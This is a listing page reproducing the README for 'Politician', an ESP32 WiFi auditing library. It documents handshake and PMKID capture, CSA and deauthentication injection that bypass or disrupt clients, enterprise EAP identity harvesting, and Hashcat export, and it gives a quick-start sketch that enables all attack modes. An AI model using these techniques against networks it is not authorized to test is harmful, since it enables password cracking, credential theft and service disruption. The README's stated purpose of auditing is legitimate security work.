SkillAgentSearch skills...

Politician

Modern WiFi auditing library for ESP32 using advanced 802.11 techniques. Captures WPA/WPA2/WPA3 handshakes via PMKID extraction and CSA injection (bypasses PMF). Harvests enterprise credentials, supports dual-band (2.4GHz/5GHz on ESP32-C6), exports to PCAPNG/Hashcat. Clean C++ API with 9 examples.

Install / Use

/learn @0ldev/Politician

README

Politician

A sophisticated WiFi auditing library for ESP32 microcontrollers

License: MIT PlatformIO

Politician is an embedded C++ library designed for WiFi security auditing on ESP32 platforms. It provides a clean, modern API for capturing WPA/WPA2/WPA3 handshakes and harvesting enterprise credentials using advanced 802.11 protocol techniques.

Key Capabilities

  • PMKID Capture: Extract PMKIDs from association responses without client disconnection
  • CSA (Channel Switch Announcement) Injection: Modern alternative to deauthentication attacks
  • Enterprise Credential Harvesting: Capture EAP-Identity frames from 802.1X networks
  • Hidden Network Discovery: Automatic SSID decloaking via probe response interception
  • Client Stimulation: Wake sleeping mobile devices using QoS Null Data frames
  • WPA3/PMF Detection: Intelligent filtering to skip Protected Management Frame-enabled networks
  • Export Formats: PCAPNG capture files; optional HC22000 text export for direct Hashcat ingestion

Architecture

The library is built around a non-blocking state machine that manages channel hopping, target selection, attack execution, and capture processing. All operations are contained within the politician namespace.

Core Components

| Component | Description | |-----------|-------------| | Politician | Main engine class managing the audit lifecycle | | PoliticianFormat | PCAPNG capture serialization; auxiliary HC22000 text export | | PoliticianStorage | Optional SD card logging and NVS persistence | | PoliticianStress | Decoupled DoS/disruption payload delivery (opt-in) | | PoliticianTypes | Core data structures and enumerations |

Attack Modes

Traditional deauthentication attacks are ineffective against modern WPA3 and WPA2 networks with Protected Management Frames (PMF/802.11w). Politician implements modern alternatives:

| Mode | Description | Effectiveness | |------|-------------|---------------| | ATTACK_PMKID | Extract PMKID via dummy authentication | Works on all WPA2/WPA3-Transition | | ATTACK_CSA | Channel Switch Announcement injection | Bypasses PMF protections | | ATTACK_DEAUTH | Legacy deauthentication (Reason 7) | WPA2 without PMF only | | ATTACK_STIMULATE | QoS Null Data for sleeping clients | Non-intrusive client wake-up | | ATTACK_PASSIVE | Listen-only mode | Zero transmission | | ATTACK_ALL | Enable all active attack vectors | Maximum aggression |

Installation

PlatformIO

Add to your platformio.ini:

[env:myboard]
platform = espressif32
board = esp32dev
framework = arduino
lib_deps = 
    Politician

Or clone directly into your project's lib/ directory:

cd lib/
git clone https://github.com/0ldev/Politician.git

Arduino IDE

  1. Download the library as a ZIP file
  2. In Arduino IDE: SketchInclude LibraryAdd .ZIP Library
  3. Select the downloaded ZIP file

Quick Start

Basic Handshake Capture

#include <Arduino.h>
#include <SD.h>
#include <Politician.h>
#include <PoliticianStorage.h>

using namespace politician;
using namespace politician::storage;

Politician engine;

void onHandshake(const HandshakeRecord &rec) {
    Serial.printf("\n[✓] Captured: %s  ch%d  rssi=%d  type=%d\n",
                  rec.ssid, rec.channel, rec.rssi, rec.type);
    // Primary output: PCAPNG — open in Wireshark or convert with hcxpcapngtool
    PcapngFileLogger::append(SD, "/captures.pcapng", rec);
}

void setup() {
    Serial.begin(115200);
    SD.begin();

    engine.setEapolCallback(onHandshake);

    Config cfg;
    engine.begin(cfg);
    engine.setAttackMask(ATTACK_ALL);
}

void loop() {
    engine.tick();
}

API Reference

Politician Class

The main engine class. Must call tick() in your main loop.

Initialization

Error begin(const Config& cfg = Config());

Initialize the engine. Returns OK on success or an Error code on failure. Must be called before any other method.

Configuration Structure

struct Config {
    uint16_t hop_dwell_ms           = 200;   // Time spent on each channel (ms)
    uint32_t m1_lock_ms             = 800;   // How long to stay on channel after seeing M1
    uint32_t fish_timeout_ms        = 2000;  // Timeout per PMKID association attempt
    uint8_t  fish_max_retries       = 2;     // PMKID retries before pivoting to CSA
    uint32_t csa_wait_ms            = 4000;  // Wait window after CSA/Deauth burst
    uint8_t  csa_beacon_count       = 8;     // Number of CSA beacons per burst
    uint8_t  deauth_burst_count     = 16;    // Frames per standalone deauth burst
    uint8_t  csa_deauth_count       = 15;    // Deauth frames appended after CSA burst
    uint16_t probe_aggr_interval_s  = 30;    // Seconds between re-attacking the same AP
    uint32_t session_timeout_ms     = 60000; // How long orphaned M1 sessions live in RAM
    bool     capture_half_handshakes = false; // Fire callback on M2-only captures and pivot to active attack
    bool     skip_immune_networks   = true;  // Skip pure WPA3 / PMF-Required networks
    uint8_t  capture_filter         = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
    int8_t   min_rssi               = -100;  // Ignore APs weaker than this signal (dBm)
    uint32_t ap_expiry_ms           = 300000; // Evict APs not seen for this long (0 = never expire)
    bool     unicast_deauth         = true;  // Send deauth to known client MAC instead of broadcast
    uint32_t probe_hidden_interval_ms = 0;   // How often to probe hidden APs for SSID (0 = disabled, opt-in)
    uint8_t  deauth_reason          = 7;     // 802.11 reason code in deauth frames
    // ── Frame capture
    bool     capture_group_keys     = false; // Fire eapolCb(CAP_EAPOL_GROUP) on GTK rotation frames
    // ── Filtering
    uint8_t  min_beacon_count       = 0;     // Min times AP must be seen before attack/apFoundCb (0 = off)
    uint8_t  max_total_attempts     = 0;     // Permanently skip BSSID after N failed attacks (0 = unlimited)
    uint8_t  sta_filter[6]          = {};    // Only record EAPOL from this client MAC (zero = no filter)
    char     ssid_filter[33]        = {};    // Only cache APs matching this SSID (empty = no filter)
    bool     ssid_filter_exact      = true;  // True = exact match, false = substring match
    uint8_t  enc_filter_mask        = 0xFF;  // Bitmask of enc types to cache (bit N = enc type N, 0xFF = all)
    bool     require_active_clients = false; // Skip attack initiation if no active clients seen on AP
};

Callbacks

void setEapolCallback(EapolCb cb);              // Handshake captured (EAPOL, PMKID, or group key)
void setApFoundCallback(ApFoundCb cb);          // New AP discovered (respects min_beacon_count)
void setIdentityCallback(IdentityCb cb);        // 802.1X EAP-Identity harvested
void setAttackResultCallback(AttackResultCb cb);// Attack exhausted without capturing
void setTargetFilter(TargetFilterCb cb);        // Early filter — return false to ignore AP
void setPacketLogger(PacketCb cb);              // Raw promiscuous-mode frames
void setProbeRequestCallback(ProbeRequestCb cb);// Probe request received (client device history)
void setDisruptCallback(DisruptCb cb);          // Deauth/Disassoc frame received
void setClientFoundCallback(ClientFoundCb cb);  // New client STA seen associated to an AP
void setRogueApCallback(RogueApCb cb);          // Second BSSID with same SSID on same channel (evil twin)

State & Stats

bool    isActive()    const;  // True if frame processing is enabled
bool    isAttacking() const;  // True if a PMKID/CSA attack is in progress
bool    hasTarget()   const;  // True if focused on a specific BSSID
uint8_t getChannel()  const;  // Current radio channel
int8_t  getLastRssi() const;  // RSSI of the last received frame
Stats&  getStats();           // Reference to frame counters (captures, failures, etc.)
Config& getConfig();          // Reference to the active config for runtime mutations
void    resetStats();         // Zero all counters
int     getApCount() const;   // Number of APs in the discovery cache
bool    getAp(int idx, ApRecord &out) const;                  // Read AP from cache by index
bool    getApByBssid(const uint8_t* bssid, ApRecord &out) const; // Look up AP by BSSID
int     getClientCount(const uint8_t* bssid) const;           // Number of clients seen on AP (0-4)
bool    getClient(const uint8_t* bssid, int idx, uint8_t out_sta[6]) const; // Read client MAC by index

Engine Control

void setActive(bool active);  // Enable or disable frame processing without full teardown
void setLogger(LogCb cb);     // Redirect internal log output to a custom callback

Target & Channel Control

Error setTarget(const uint8_t* bssid, uint8_t channel); // Focus on one BSSID
void  clearTarget();                                     // Resume autonomous operation
Error setChannel(uint8_t ch);                            // Tune to a specific channel
Error lockChannel(uint8_t ch);                           // Stop hopping, lock channel
void  startHopping(uint16_t dwellMs = 0);                // Start channel hopping
void  stopHopping();                                     // Stop hopping (attack state machine continues)
void  stop();                                            // Full teardown: abort attack, clear target, stop hopping, disable capture
void  setChannelList(const uint8_t* channels, uint8_t count); // Restrict hop sequence
void  setChannelBands(bool ghz24, bool ghz5);                // Hop 2.4GHz, 5GHz, or both
Error setTargetBySsid(const char* ssid);                     // Lock target by SSID (picks strongest match from cache)
void  setAutoTarget(bool enable);                            // Conti

Related Skills

View on GitHub
GitHub Stars51
CategoryDevelopment
Updated19h ago
Forks1

Languages

C++

Security Score

100/100

Audited on Apr 7, 2026

No findings